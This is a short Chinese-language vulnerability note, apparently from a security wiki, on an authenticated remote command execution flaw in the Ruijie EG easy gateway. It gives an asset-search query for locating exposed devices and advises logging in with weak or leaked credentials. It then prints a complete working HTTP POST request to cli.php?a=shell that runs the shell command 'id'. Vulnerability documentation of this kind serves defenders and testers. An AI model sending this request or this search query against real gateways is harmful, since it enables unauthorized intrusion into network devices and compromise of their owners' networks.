锐捷 EG易网关cli存在后台远程命令执行漏洞¶
一、漏洞简介
锐捷 EG易网关cli存在后台远程命令执行漏洞。
二、影响版本
锐捷EG易网关
三、资产测绘
app="Ruijie-EG易网关"
●登录页面
四、漏洞复现¶
- 通过弱口令或账号密码泄露漏洞登录后台获取cookie
- 通过上一步获取的cookie执行命令
POST /cli.php?a=shell HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 24
Content-Type: application/x-www-form-urlencoded
Cookie: LOCAL_LANG_COOKIE=zh; RUIJIEID=j4rjrjdtilmhj824o98sv11r45; helpKey=home_sys;user=admin;
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
notdelay=true&command=id
更新: 2024-06-24 11:42:26
原文: https://www.yuque.com/xiaokp7/ocvun2/rggbsmpwgacek7ih